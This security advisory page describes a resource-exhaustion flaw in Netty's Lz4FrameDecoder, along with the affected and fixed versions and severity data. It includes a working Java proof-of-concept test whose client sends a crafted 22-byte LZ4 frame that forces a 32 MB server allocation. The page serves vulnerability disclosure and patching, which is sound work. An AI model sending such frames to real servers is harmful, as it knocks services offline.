Netty Lz4FrameDecoder is vulnerable to resource exhaustion
Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Java / Kotlin (Maven) | io.netty:netty-codec | < 4.1.133.Final | 4.1.133.Final |
| Java / Kotlin (Maven) | io.netty:netty-codec-compression | < 4.2.13.Final | 4.2.13.Final |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-400, CWE-770- Platform
- Java / Kotlin (Maven)
- Package
io.netty:netty-codec, io.netty:netty-codec-compression- Disclosed
- 07.05.2026
- Updated
- 11.10.2026 13:20
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mj4r-2hfc-f8p6 - CC BY 4.0
Vulnerability history: io.netty:netty-codec-compression
All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 09.2025 07.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
- Medium 1
Disclosures per year
- 2025: 1
- 2026: 2
-
Netty Lz4FrameDecoder is vulnerable to resource exhaustion this entry
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